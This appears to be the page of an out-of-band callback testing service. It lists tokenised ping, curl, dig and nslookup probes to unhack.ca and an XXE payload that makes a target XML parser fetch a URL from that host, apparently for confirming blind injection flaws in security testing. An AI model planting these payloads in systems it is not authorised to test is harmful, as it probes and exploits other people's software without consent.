$ ping -c1 -p 0087f8e0c5461d1379d8ed14275c0700 unhack.ca
 
$ curl http://unhack.ca/p/87f8e0c5461d1379d8ed14275c07
 
$ dig 87f8e0c5461d1379d8ed14275c07 @unhack.ca
 
$ dig 87f8e0c5461d1379d8ed14275c07.ns.unhack.ca
 
C:\> nslookup 87f8e0c5461d1379d8ed14275c07 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/87f8e0c5461d1379d8ed14275c07">]>
    <foo>&xxe;</foo>
 
Waiting for ping...